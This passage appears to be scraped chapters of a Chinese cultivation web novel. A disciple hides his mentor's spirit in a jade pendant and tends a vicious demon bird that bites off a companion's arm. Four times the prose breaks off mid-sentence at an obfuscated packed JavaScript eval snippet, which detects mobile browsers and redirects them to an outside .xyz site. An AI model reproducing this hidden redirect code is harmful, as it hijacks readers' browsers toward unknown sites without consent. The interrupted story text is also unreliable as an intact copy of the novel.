谢琳琅轻描淡写地说：“他只以为你那玉佩里记载了诸多炼丹体悟，他体悟后玉佩自动消失，所以才给你准备了一些补偿之物。” 他叮嘱沈鹤，“这黄玉葫芦里的丹药就是我重塑身体所需的九转返真丹，但重塑真身需要庞大的魔气，不能在你们宗门里进行这项工作，你必须搜寻一个有着大量魔气、隐蔽且安全的地方，这是你接下来要做的事。” “你一边修炼林郁给你的功法和魔器，一边去寂夜宫的藏书阁里翻找相关信息，越快越好。” 谢琳琅又补了一句，“这期间不要再打开黄玉葫芦了，我好不容易从林郁的乾坤袋里找到一块能用来保存九转返真丹的材料，你频繁打开葫芦，会丧失一部分药性的。” 沈鹤听后倒吸一口冷气。 天啊，他这位玉佩师尊的行动力太可怕了！ 他唤醒这位前辈有两个月吗？随身老爷爷就已经搞定了重塑真身的一切牵制工作！这和宗门大课里的师伯们讲述的老爷爷品类不一样啊！！ 沈鹤先是满口答应了谢琳琅的要求，继而有些忐忑。 “……您用了林郁前辈的东西，他事后不会通过材料短缺发现问题吧？” 谢琳琅似乎笑了一下：“九转返真丹的每一个材料都可以作为其他丹方的主药，经过各种丹方的组合搭配，以林郁的能力根本不可能察觉缺失了一副九转返真丹的材料。” 说到这里，谢琳琅的语气又变得寡淡起来。 “我也付报酬了，我教了他好几种改进丹方，也教了他急需的化骨丹炼制方法，足够偿还因果了。” 他可是个好人来着，他谢琳琅可是被称为光风霁月、光明磊落的琳琅道君，这是他为了裴霁坚持了百余年的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461901|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他会继续坚持下去的。 “好了，接下来一段时间我会在九转返真丹中温阳残魂，暂时不会探查外界情况，你赶紧炼化这些魔器，去藏书阁借书吧。” “是！” 另一边，林郁总算将宗门其他丹师都敷衍了过去，他以稳定状态为借口，重新封闭了丹房。 刚返回丹炉前，林郁就看到一只杀马特走地鸡正扑棱着肉翅，用鸟喙去啄放在丹炉附近的药瓶子。 林郁叹了口气，从袖子里拿出一个瓶子。 “你尝尝这个，这个效力时间应该能长一些。” 走地鸡立刻平地直飞，嗖一下扑棱到林郁的手腕上，一爪子踹开瓶口塞子，探头吞掉了里面的丹药。 “咦，你真的突破了。” 丹药一入口，裴寂夜就发现这丹药的水准和此前林郁炼制的完全不是一个层次。 每一种材料都融合得极为圆满如意，将所有材料特性全都充分发挥出来，裴寂夜甚至能感觉到体内如坚石的魔气出现了细微松动，仿佛万年不化的玄冰终于出现了一丝裂缝。 林郁略显得意：“当然，也幸好你这期间没来我耳边聒噪。” 裴寂夜没理会林郁委婉地嫌弃，他若有所思：“你刚才说，那份炼丹体悟来自新收的水货弟子？” “没错，沈鹤在炼丹上有不错的天赋，随身携带的祖传之物里还有炼丹体悟心得，想必他的血脉先辈里曾出过水准极高的丹王大师，我打算着重培养一下。” 林郁踌躇满志，“不过在此之前，我需要想帮你找到四季星辰花，若是一切顺利，你就不需要天天嗑化骨丹了。” 裴寂夜的重点不在于四季星辰花，他对沈鹤产生了兴趣。 “沈鹤的炼丹天赋真的很好？” 林郁故作不满：“你看上新人了？他再有天赋，也只是个筑基期的弟子！” “当年你也不过才筑基期。”裴寂夜不置可否，漠然道：“若非你会炼丹，我当时为什么要带你出来？” 在裴寂夜被困于上古坟场的第八十一年，他捡到了就剩一口气的林郁。 看在林郁炼丹的背影有几分像谢琳琅的份上，裴寂夜脱身时带上了林郁。 这是林郁的一线生机。 也是裴寂夜终于破开时间洪流禁制，重归人世的契机。 他最后一次与谢琳琅见面，是在他们即将举行的道侣结契仪式前。 他承诺很快回来，然而从此竟是永别。 林郁眉飞色舞：“这是你自己说的。” 裴寂夜：？ 于是三天后，林郁叫来沈鹤，将一只站在赤红树枝架子并上面站着的杀马特走地鸡郑重交到了沈鹤手中。 “这是宗门里豢养的灵兽，你叫他……额、夜前辈就行了。” 林郁一本正经地说：“他挑事，性子躁动，还爱乱飞，你务必不能伤着他，好好照料他，懂了吗？” 13.第 13 章 沈鹤有些懵逼地接手了这个照顾夜前辈的任务。 他最近几天挺忙碌的，刚将林郁给他的翠玉剑炼化完毕，接下来还需要炼化白骨钟，之后还要赶紧参悟那两门功法，最后还得去宗门藏书阁为玉佩师尊翻找资料。 结果林郁竟还吩咐他照料一只灵兽？ 林郁面色淡淡，实际心里快乐出花来了。 裴寂夜性格乖张神经，睚眦必报，自己不开心就能让周围所有人跟着倒霉，能让裴寂夜的注意力转移到沈鹤身上，林郁做梦都会笑醒。 他是非常尊重、并敬重裴寂夜的，毕竟是裴寂夜救了他的小命，并助他一路从普通筑基修士进阶到了元婴。 但这并不妨碍林郁对裴寂夜有着极大意见。 现在有机会将裴寂夜甩给新冒出来的水货筑基弟子，林郁非常高兴。 沈鹤不知道眼前的便宜师尊的心思，他仔细打量这只站在赤红树枝上的杀马特走地鸡。 这只鸟只有巴掌大，他通体长着黑灰色的炸毛，尤其是脑袋上那几缕毛，蓬松炸开，像是杀马特。 鸟的翅膀上长着稀稀落落的绒羽，能看得到下面泛着细腻纹路的鸟皮以及更下方的青色血管，鸟的屁股上没有羽毛，但下方两根鸟腿却很粗壮，一看就非常有力。 其中一只爪子蜷缩着，看不出大小，但另一只爪子张开，长而有倒刺的尖锐爪子死死抓着赤红枝条，整体姿态竟站得非常笔直，仿佛一根青松直直伫立在山巅。 最重要的是这只鸟的气势和姿态。 他微微缩着脖子，像是团成团的凶兽，仿佛察觉到沈鹤的目光，他抬了抬眼皮，瞳孔外层的虹膜翻动，猩红的眼睛盯着沈鹤，似乎是在琢磨着怎么将沈鹤细细切做臊子般认真。 沈鹤被这样的眼神锁定，忍不住咽了口唾液。 “……师尊，这位夜前辈有何禁忌和喜好？弟子最近需要稳固修为，可能要闭关，万一怠慢了这位前辈……” 林郁慢条斯理地说：“一般情况下不需要你做什么，但记得让他吃药。” 沈鹤一愣：“吃药？” 林郁交给沈鹤一个小瓶子：“每日一粒。” 沈鹤只能接过赤红木架子和小瓶子。 他问了一个很傻的问题：“这位夜前辈开智了吗？” 林郁冷笑：“宗门大课不是有教吗？妖兽结丹后才会逐渐生成灵智！” 说罢，他一甩袖袍，将沈鹤撵出了门。 沈鹤站在林郁的丹房外，看着这只鸟中杀马特，有些癔症。 然而这只鸟完全不搭理沈鹤，继续单腿直立，闭目养神中。 由于沈鹤已经进阶筑基，又成了林郁的弟子，他此时已不再是丹房帮佣，而成了内门真传弟子，并在丹房有了一个属于自己的炼丹室。 庞三鲜趁机将自己调到了沈鹤的丹房。 平日里庞三鲜可以利用丹室内的灵火淬炼魔气内的杂质和经络，还可以利用丹炉炼制最基础的聚气丹，他会将卖出的魔石分四成给沈鹤。 沈鹤带着灰色杀马特鸟回到自己的丹室时，庞三鲜正在处理材料。 “这是什么？” 庞三鲜打量灰色杀马特鸟。 “林师尊交代给我的任务，他似乎要离开宗门寻找一味特别的材料，这期间让我照顾夜前辈。” “夜前辈？” 庞三鲜听后肃然起敬，原来这只鸟是宗门大佬吗？ 可他看来看去，提出疑惑：“这只鸟好像才筑基修为？他是什么品种？刚破壳吗？怎么感觉和家里做烤乳鸽的原材料那么相似啊？” 单腿站在赤红树枝的杀马特鸟缓缓转动脖颈，仿佛终于发现丹房里还有一个庞三鲜，直直看了过来。 “噤声，这可是妖兽，你小心他记仇。” 虽然这么提醒庞三鲜了，但沈鹤以前干酒楼店小二，向客人介绍菜肴可是沈鹤的基础技能。 他本能地评估杀马特走地鸡的品相，“就算做烤乳鸽，夜前辈的皮也有些老了。” 某杀马特鸟：“……” 沈鹤还小心指着杀马特鸟稀疏的胎毛，“看，胎毛稀疏，毛色无光，没有底绒，皮质有纹路，明显太老，送到后厨会被骂的。” 庞三鲜深以为然：“你说的没错，太老的鸽子就算用特殊佐料研制，也很难腌入味……” 杀马特鸟的眼神越发冰冷，仿佛在看两个死人。 庞三鲜不自觉地哆嗦了一下，他扯了扯沈鹤的袖子，小声说：“这鸟能听懂人话吗？” 沈鹤迟疑着说：“没有吧？这只鸟只有筑基期修为，宗门大课不是说妖兽开智要等结丹后吗？这位夜前辈不会说话，还需要我每日喂食，而且咱们俩都讨论烤乳鸽了，他没有任何反应……也许只是有大妖血脉的幼崽？” 庞三鲜一想也对，若果真是宗门大前辈，怎么可能让沈鹤一个水货筑基修士照看？ 庞三鲜很手贱地伸手逗弄杀马特鸟，一边去捏小鸟的鸟喙，一边问沈鹤：“这只妖兽什么属性？是什么品种？有什么特殊……嗷！！” 就在庞三鲜那肥粗的手指即将碰触到鸟喙的瞬间，这只鸟突然张开了血盆大口。 明明是只有巴掌大的鸟，张开的鸟喙竟有半米宽！！ 沈鹤在一侧看得真真的，这鸟的鸟喙边缘长着细密的利齿，有三条长着倒刺的长舌头，张嘴的瞬间，整个鸟脖子骤然扩张，仿佛一个漆黑、未知而深邃的孔洞，似乎能吞噬一切。 一眨眼的功夫，庞三鲜的手和小臂直接被杀马特幼鸟吞噬殆尽。 庞三鲜：“啊啊啊啊啊啊！！” 庞三鲜痛得蜷缩成一团，断臂处鲜血淋漓，血腥气扑面而来。 沈鹤大脑一片空白，几乎本能地一扯庞三鲜，死死捂住庞三鲜惨嚎的嘴巴，同时膝盖一软，直接滑跪在赤红树枝鸟架子前。 “小辈无状，还请前辈见谅！” 庞三鲜被捂着说不出话，但他听到沈鹤的话后，立刻深深低下头，也跟着跪倒在地。 纵然身体痛得直哆嗦，依旧不敢发出丝毫声音。 杀马特鸟慢条斯理地用鸟喙梳理着稀疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467414|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的羽毛，只当听不懂人话。 沈鹤摁着庞三鲜连着磕了好几个响头，眼角余光发现这只妖兽似乎懒得理会他们，连忙小心翼翼地说：“多谢前辈大人大量，弟子以后再不敢了。” 他一边说一边扯着庞三鲜慢慢后退，终于平安地离开了丹房。 沈鹤赶紧拿出生骨丹和玉肌丹塞给庞三鲜。 庞三鲜疼得脸色煞白，吸着气忍着疼，一句话都说不出口。 他连连点头，拿着丹药比划了一个以后再说的手势，赶紧回房疗伤休养了。 沈鹤万分想和庞三鲜一起回去，可是他还得照顾那位夜前辈，总不能直接扔到丹房不管吧？ 沈鹤迈着沉重步伐回到了丹房。 他瞅着杀马特前辈好像在闭目养神，就小心翼翼地缩在一侧，拿出白骨钟，开始专心炼化这件护身魔器。 只是沈鹤刚开始用自己的魔气淬炼白骨钟，突然眼前一花，那杀马特前辈竟飞到了他面前，一爪子摁在了白骨钟上面的环扣上。 沈鹤努力微笑：“夜前辈有何吩咐？” 杀马特走地鸡，也就是裴寂夜上下打量沈鹤。 在见到沈鹤的瞬间，裴寂夜竟有种玄之又玄的熟悉感。 那是一种很难用语言形容的感觉。 有点亲切，有点厌恶，有点熟悉，还有点莫名在意。 会是谢琳琅的转世吗？ 裴寂夜不知道。 谢琳琅一生乐善好施，即便在天劫下陨落，魂归地府，应该也能很快转世。 但年纪不对啊！ 谢琳琅才陨落了一年，就算他陨落后立刻转世，此刻也该刚满月？ 而沈鹤已经是个水货筑基修士了。 裴寂夜越想越烦躁，他一脚踹飞沈鹤手中的白骨钟，像是走地鸡一样扑棱着肉翅膀，落在了放在丹房中间的丹炉上。 他盯着沈鹤。 沈鹤有些心疼地看了一眼白骨钟。 这位夜前辈真是好爪子啊，他这白骨钟还没炼化呢，上面就多了一道裂缝，不知道林师尊出门了没有，他能去找林师尊换一个护身魔器吗？ 沈鹤试探着问：“您想吃灵丹？” 他拿出林郁给的高级饲料，“这个……” 裴寂夜压低身形，脖颈细微而快速颤动着，鸟喙微微上翘，继续用死亡视线盯着沈鹤。 沈鹤心中一凛，这是禽类即将攻击的前摇动作。 他额头冒汗，继续咬牙试探：“要不我给您炼一炉聚气丹怎么样？” 话音落下，这位凶残的夜前辈终于扑棱翅膀落在地上，站在了一侧的材料台上。 沈鹤松了口气，总算知道这位大佬的目的了。 不就是炼丹嘛，他熟。 由于修为提升的太快，最近沈鹤一有空就炼丹，不仅可以锻炼炼丹技巧，还能利用灵火淬炼魔气，夯实他的基础。 想到这里，沈鹤拉过材料台，开始配聚气丹的材料。 裴寂夜看着沈鹤处理材料的动作，眯了眯眼，竟有一瞬间的失神。 14.第 14 章 沈鹤已经很熟悉聚气丹的流程了。 他最近和庞三鲜都在炼制这种丹药。 无他，好卖，赚钱。 正好庞三鲜之前就在处理聚气丹的材料，沈鹤接手了庞三鲜没做完的工作。 去根、清洗、魔气淬炼、灵火预热、酸泉浸泡……十四五岁少年的动作非常有节奏感，脑袋后的马尾一翘一翘的，像是灵巧的小鹤在起舞。 随着沈鹤将全幅注意力放在炼丹上，他逐渐忘记了杀马特走地鸡的死亡注视，而是专注于炼丹。 沈鹤炼丹的手法是宗门所传的大众方法。 然而谢琳琅此前操纵沈鹤的身体炼制丹药，如何掌控火候、如何释放魔气、什么时候放材料、什么时候打法诀……谢琳琅没有说一句话，也没有传授任何炼丹的手法，却早已将最重要的知识教导给了沈鹤。 沈鹤从谢琳琅那学到了炼丹的真谛：采万物之灵，死生轮转，以成造化。 根据这一条本质原理，沈鹤已然可以自己分辨丹药释放气息的快慢，会根据药力和丹香的变化调控灵火，最大限度地将谢琳琅教的东西与宗门大课的手法融会贯通。 裴寂夜静静看着。 他见过很多丹师炼制丹药。 但谁都没有谢琳琅炼丹时的身影优雅完美。 看谢琳琅炼丹，就仿佛在看一个青衣人在跳舞，那轻盈的袖袍在空气中划过的每一个弧度，都像是天地间那无形之手，勾勒出一个个生命的痕迹。 唯有谢琳琅能将普通的法诀施展出造化天地、生生不息的意蕴，那是何等畅快淋漓、抒发胸臆的感动和顿悟啊。 裴寂夜那猩红的眼睛渐渐泛起了一层淡淡的白雾。 他像是在看沈鹤，又像是在寻找记忆中的人。 不知道过了多久，一股醉人心脾的丹香溢散出来。 裴寂夜猛地回神，这才注意到沈鹤小心翼翼地拿着一个药瓶，站在距离他三步之外的地方。 “夜前辈，这是我刚炼制好的聚气丹，您要尝尝看吗？” 杀马特鸟猛地抖动肉翅一样的翅膀，扑棱到了沈鹤的手臂上。 沈鹤的胳膊一沉，天啊万万没想到，看着很小的巴掌大一只鸟，怎么这么沉啊？他筑基期的臂力居然立刻酸沉起来？ 杀马特鸟伸长脖子，鸟喙直接戳进了玉瓶，吃到了一颗聚气丹。 入口的瞬间，裴寂夜怔住了。 这个味道…… 魔气向来比灵气要更加暴躁难以驯服，但这枚聚气丹里的魔气却柔和地像是飓风骤然低眉敛目，吹起了徐徐清风般温和。 随即唇齿间那抹魔气泛起淡淡酸涩感，流入口腔后，只觉肺腑一阵清凉，整只鸟都干净舒爽起来，继而从喉头溢出了清雅的甘甜味，唇齿生香。 小小只的鸟儿微微低头，脑袋上那几根杀马特灰毛抖了抖，闭上的眼角竟隐隐泛起了一丝水光。 恍惚间，他似乎听到了一个温和的声音在耳边响起。 “师兄，你尝尝，这次应该不苦了。”那柔和的音色里透着不容置疑的坚定，就仿佛是在说天地至理一样，“以后也不会再苦了。” 谢琳琅能在不改变药效的前提下，特意改变丹药口味，从而让裴霁无论受到何等伤害、多么痛苦难耐时，吃到的丹药都泛着丝丝甜。 过往的回忆让裴寂夜心底生出了无限希望，他猛地飞离了沈鹤的手臂，落在了赤红树枝上，从树枝边缘的小袋子里叼出了林郁同步塞给沈鹤的药瓶。 裴寂夜一口吃掉了一颗化骨丹。 他终于开口说人话了，声音沙哑低沉，“你加了什么？” 沈鹤大吃一惊，天啊筑基期的妖兽说人话了！？ 他下意识地回答：“就是按照正常丹方炼制的，额，哦哦您是说口味不同？我专门加了水光草，将水光草晒干再用酸枣腌制，虽然多了一道工序，但炼制出的聚气丹会比别的聚气丹多一抹回甘的甜味，入口微酸，继而有点涩，最后会泛起淡淡的甜，您觉得我这改良如何？” 也许是沈鹤的错觉，他竟觉得这杀马特鸟看他的眼神格外柔和，甚至带着点闪烁的泪花。 杀马特鸟的声音越发低沉，像是芦笙发出呜噜噜的旋律，宛如水草轻拂过水面般荡漾。 “你怎么想到改变丹药口味？” 沈鹤满头雾水：“好卖啊。” 裴寂夜：“嘎？” 沈鹤老老实实地说：“我和庞师兄出身酒楼，见惯了这种事，普通的萝卜只要五个铜板，将萝卜雕成牡丹花能卖五十个铜板，若是能将红萝卜雕成凤凰模样，再放在花菜上，摆出凤栖梧桐的造型，可以卖一两银子呢！” 杀马特鸟：“……” 小小只的鸟仿佛成了雕塑，凝固在了赤红树枝上。 “我和庞师兄的聚气丹虽然品质比较好，但我们在宗门没什么基础，自然没什么固定客源，想要开辟市场，必须要增加丹药的竞争力，所以我们对丹方进行了改良，目前看来效果还不错，已经有不少师兄师姐找我们预订……嗷！！” 沈鹤话说到一半，只觉得眼前一花，那杀伤力十足的杀马特前辈已经如一颗失控的飞梭，直接冲向他的面门。 沈鹤真真是下意识地拿出了还没来得及炼化的白骨钟，然后这可怜的护身法器只坚持了一秒时间，就像是白纸糊的一样，咔嚓一声碎掉了。 眼瞅着自己的脸要被这可怕的夜前辈抓出四个血窟窿，生死关头，沈鹤本能召唤出自己刚炼化好的翠玉剑。 青翠的剑刃从沈鹤口中冲出，正好与迎面而来的杀马特鸟撞击在一起。 砰—— 沈鹤连人带剑被恐怖的力量撞飞出去，丹房的大门被撞得细碎，连外侧的防护阵法也被这可怕的魔气冲击成了碎片。 沈鹤在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473585|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上滚了两圈，本能地抱头并快速转移位置，生怕遭到后续袭击。 但好在那夜前辈像是回过神了似的，发出了非常愤怒而刺耳的尖啸声后，噼啪作响，继而消失了。 沈鹤呆滞地看着大门碎裂的丹房，再看看周围探头探脑的师兄师姐和丹房杂役，苦笑不已。 这位夜前辈好难相处啊，怎么感觉阴晴不定的？ 沈鹤怀揣着沉重而疲惫的心情，将丹房收拾了一下，赶紧回房间了。 庞三鲜的手臂已经恢复了原样，在看到沈鹤脸上那个明显是剑刃扇出来的红肿痕迹后，庞三鲜竟松了口气。 “哦，我虽然怕你也遭殃，可是看你这造型，我还挺开心的。” 沈鹤翻了个白眼，庞师兄还是这幅少爷脾气。 他默默地拿出自己碎碎的白骨钟。 庞三鲜嘶了一口气：“这是林郁真人赐给你的护身法器吧？怎么就……” 他怜悯地看沈鹤，“要不你找洪师兄说一下？请他帮忙说项，找林郁真人再求一个法器？” 沈鹤一声长叹：“我已经传信给洪师兄说明此事，然而林师尊将夜前辈交给我后，就离开宗门了，他不在。” 他又补了一句，“庞师兄，你可是丹房杂役，你别想请假，要么一起去丹房，要么我去找郑师兄，说你没有完成杂役的工作。” 庞三鲜怒目瞪沈鹤：“我们可是师兄弟啊！你竟如此待我？！” 沈鹤微笑道：“没办法，我虽然也担心波及你，可你和我一起倒霉，我也挺开心的。” 庞三鲜：“……” 庞三鲜无法，只能第二天和沈鹤一起去丹房面对可怕的夜前辈。 但出乎庞三鲜和沈鹤的预料，那赤红色树枝架子上空荡荡的，夜前辈不在！太好了！ 庞三鲜和沈鹤开心地拍了一下手掌，然后一个赶紧修炼，另一个继续执行赚钱大业。 在两人没有发现的地方，杀马特鸟藏在阴影中，正幽冷地盯着两个魔修弟子。 他如一缕漆黑的墨汁，轻盈滑动在宗门屋檐下、树梢间、碎石小路的缝隙里，仔细观察着沈鹤的一举一动。 他连着盯了五天，发现沈鹤真的只是普通的寂夜宫弟子，没有任何重修的迹象，也没有私下里低声呢喃，更没有偷偷修行什么毁天灭地的功法。 一时间，杀马特鸟仿佛失去了全部力气，索性化为一抹青烟，返回了寂夜宫最深处的静室。 他得缓缓。 然而又一夜过去，清晨时分，谢琳琅突兀醒了过来，吸取了晨起第一缕天地阴阳变化之气，他检查了一下进度，发现原本松散的神魂凝练了许多。 很好，第一个七天过去了，只需要再来两个七天，就能做完重塑仙体的前置工作了。 想到这里，谢琳琅心情极好地问沈鹤。 “是我，这几天如何？没发生什么事吧？” 15.第 15 章 “师尊，您醒了？” 沈鹤非常惊喜，此刻他正在房间里坐早课。 听到谢琳琅的声音，他下意识地拿出黄玉葫芦，本想打开塞子，又想到谢琳琅此前的叮嘱，连忙忍下了。 他恭谨地双手捧着黄玉葫芦，低声说了最近的情况。 比如修炼和炼丹时遇到的疑难问题，再比如他被迫接手了一只看起来是筑基、却能说人话，还非常凶残，脾气阴晴不定的禽类妖兽。 谢琳琅第一时间想到了此前林郁曾问过他的问题，某个大妖前辈需要高品质的化骨丹。 他立刻谨慎地问：“那只鸟在附近吗？他是否暗中盯着你？你这幅模样会将我的存在暴露出去！” 沈鹤也是聪明之辈，立刻意识到谢琳琅的意思，他连忙收起黄玉葫芦，重新坐在软垫上装模作样的修行。 他惴惴不安地问：“师尊，您有什么发现吗？” 谢琳琅稍微泄露了一丝神魂之力，转了一圈，没有找到可能存在的盯控。 “……那禽类大妖实力也许比我强，我也无法发现他，你还是想办法离开寂夜宫，出去避避风头吧。” 沈鹤苦笑着拿出自己碎碎的白骨钟：“我的护身法器还没炼化好，就被夜前辈毁掉了，而且我还没练林郁师尊给的修行功法，现在这种情况出门……还不如留在宗门更安全呢。” 谢琳琅略一沉吟：“将你和他相处的详细情况说一遍。” 沈鹤立刻打起精神，细细地讲述了自己接到夜前辈后发生的一切，还说了自己的感觉。 “那位前辈好像很在意炼丹的事，尤其是吃了我炼制的聚气丹后，直接暴跳如雷，将我打出了丹房，可能是嫌弃我水准差吧。” 谢琳琅问了个非常关键的问题：“那禽类大妖是什么品种？” 沈鹤：“我去宗门借了妖兽大全，庞师兄去宗门内的弟子交易市场问了一圈，大概确认夜前辈似乎是某种水生禽类，他的爪子过于宽大粗壮，明明还是幼鸟，皮肤已经有了细腻的如鱼鳞一样的纹路，他张口吞吃庞师兄的胳膊时，嘴巴能扩张到身体的两倍有余，只有需要将鸟喙深入到水底、大口吞吃鱼虾的禽类才会生出这种下颌结构……” 谢琳琅静静听着，等沈鹤终于说完了自己的发现后，谢琳琅不咸不淡地表示：“都是假的。” 沈鹤茫然脸：“……啊？” 谢琳琅淡淡道：“能在筑基期就口吐人言，说明这种妖兽有着非常高的智商，只有天地所钟之灵能早早开启灵智，而这样血脉强悍的妖族基本都可以自由伪装外表，由此度过漫长而虚弱的幼生期。” 他细细传授着，“他选择的外表非常优秀，你看啊，他是一种水生妖禽，而寂夜宫在海边，普通修士难道不想要一个可以帮忙击杀海中妖兽的帮手吗？” 沈鹤倒吸一口冷气，是哦，寂夜宫在最南边的海域，宗门很多师兄师姐的确会豢养水属性的灵宠。 谢琳琅继续道：“他虽然是个幼崽，但攻击力强悍，那么即便他的食量很大，甚至还很挑食地吃高品质聚气丹，也能让饲养他的修士勉强忍了。” 说着说着，谢琳琅语中多了一抹笑意和欣赏，“随着投入越来越多，修士也越来越不会放弃这只妖禽，等妖禽生长到一定程度，发现这个饲养者没用了，你觉得他会不会一口吞了这个饲养者，再换下一个金主？” 他赞许道：“多聪明的鸟儿啊，可惜你镇不住他，放弃吧。” 谢琳琅暗暗想，等他重修归来，有机会了可以选育一只这样的禽妖当帮手。 沈鹤听得后背发寒，他抹了一把额头的冷汗，苦笑道：“弟子只求能和夜前辈平安相处，希望师尊能安然重塑身体……” 顿了顿，沈鹤是真的好奇，因为直到现在，他都不知道师尊的名讳样貌，“师尊以前不是仙门修士吗？怎么如此熟悉妖族修士的伎俩？” 谢琳琅莞尔：“妖族也需要灵丹，自然会带着褪去的翎羽或者不需要的爪牙送我当材料，接触得多了就会了解一二。” 说到这里，谢琳琅语气中透着淡淡怀念，“就像我那些魔修朋友们，虽然从不说魔修宗门内部情况，却直白地告诉我，魔修们最忌讳欠下天大因果，如果他们不能解决因果，就只会被天劫解决。” “我趁机请他们帮了很多有趣的小忙。” 谢琳琅这么说着，语气玩味中透着难以琢磨的深邃和幽冷。 沈鹤的直觉突突直跳，不敢多问，只道：“那弟子要如何做？” 谢琳琅思量了一会说：“让我想想，既然他对炼丹感兴趣，我给你说个方子，你去炼制一番，看看他的反应。” 沈鹤听后连忙打起精神记录了丹方。 这是一种梳理妖族体内血脉之力的偏门方子，妖族内部会为后裔准备的、在幼崽血脉躁动时服用的丹丸，有点类似零嘴。 “有几样材料比较偏僻，库房里没有相关材料储备。” 沈鹤回忆自己看过的丹房材料储存单子，“也不知道宗门内的弟子交易市场是否能买到。” “我将一些灵植替换成了魔植，不过还需要你一一实验药性，可能会耗费不少钱财，你去找洪奎，他的人脉和积累比你多。” 谢琳琅漫不经心地指点沈鹤，“就说是林郁为了让你更好照顾那只禽妖而布置给你的丹方作业，修士会豢养灵兽当帮手，这方子有着不错的市场前景，以利诱之，让他出钱出力，你能省很多事。” 沈鹤听后心底浮现深深的敬佩之意，他发现玉佩里的这位师尊仿佛无所不能，随口就能想出一大堆解决问题的法子，自己若能学到一二手腕就好了。 “我会在七天后的清晨醒来，这期间不要打扰我。” “是，师尊。” 之后沈鹤就陷入了忙碌中，他先找了庞三鲜，说自己在宗门故纸堆里找了个妖兽喜欢的零嘴方子，问庞三鲜是否有兴趣帮忙炼制。 庞三鲜一听就懂了，这是沈鹤随身老爷爷发威了，也许要治一治那吞了他血肉的杀马特鸡。 庞三鲜立刻连声表示，加我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478638|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 师兄弟俩一个去做市场调研，一个去拉洪奎加入，而有了洪奎帮忙后，虽然丹方里有三种材料比较偏僻，但还是很快凑齐了，三人遂打算炼制一番看看效果。 结果在试炼制这天，消失了三天不见的杀马特鸟再一次出现在赤红树枝架子上，用幽冷冰凉的眼神盯着进入丹房的沈鹤、庞三鲜以及洪奎。 沈鹤和庞三鲜的脚步顿时一缓。 洪奎神态自若地向杀马特鸟躬身行礼，随即来到丹炉前招呼沈鹤：“别发呆，赶紧了，新鲜的饮灯草容易吸收天地间的魔气，从而变了药性，要在采摘后的三个时辰内炼化。” 沈鹤和庞三鲜佩服地瞥了洪奎一眼，有样学样地向杀马特鸟躬身行礼，然后赶紧做炼丹前的准备。 裴寂夜冷眼看着这一幕。 他当然认识洪奎，林郁较为看重的弟子之一，行事不拘小节，好吧其实就是手段卑鄙，但性格还算疏阔大气，比一些心胸狭隘、嫉妒怨恨之人要强些。 杀马特鸟慢吞吞地竖立着身上稀疏的毛发，他不想去看沈鹤，但沈鹤炼丹时不经意间流露出的节奏感是那么流畅，总是会让裴寂夜产生幻视，看到另一个青衣人在丹炉前翩翩起舞。 杀马特鸟儿梳理着绒羽，梳着梳着眼神就凝固了，继而像是被噩梦惊醒般浑身一个激灵，再坚定地将鸟屁股对准沈鹤，然后脖子不经意间再扭回来，这一连串动作周而复始，看着非常滑稽。 好在庞三鲜和洪奎都没注意到杀马特的失态，否则一定会被灭口吧。 这让裴寂夜再度烦躁起来。 他体内流淌着的鲜血似乎活了过来，它在咆哮着、愤怒挣扎着，像是上古时代不屈而挣扎的残音，向着后世之人愤怒质问。 裴寂夜只觉得头疼欲裂，恨不得毁灭眼前的一切。 突然，一股难以形容的馨香轻柔地包裹着他，像是回归了天地混沌之间，又像是所有的愤怒和痛苦都有了宣泄和包容的地方。 而沈鹤、庞三鲜以及洪奎则同时傻眼了。 就在沈鹤刚才要熄灭炉火、打开丹炉炉盖，取出丹炉内的三枚成丹之际，本来用鸟屁股对着他们的夜前辈突然扑棱着肉翅膀，以迅雷不及掩耳之势，紧紧贴在了丹炉外壁。 一股难以形容的烤肉香气从杀马特鸟和丹炉相贴的地方传来。 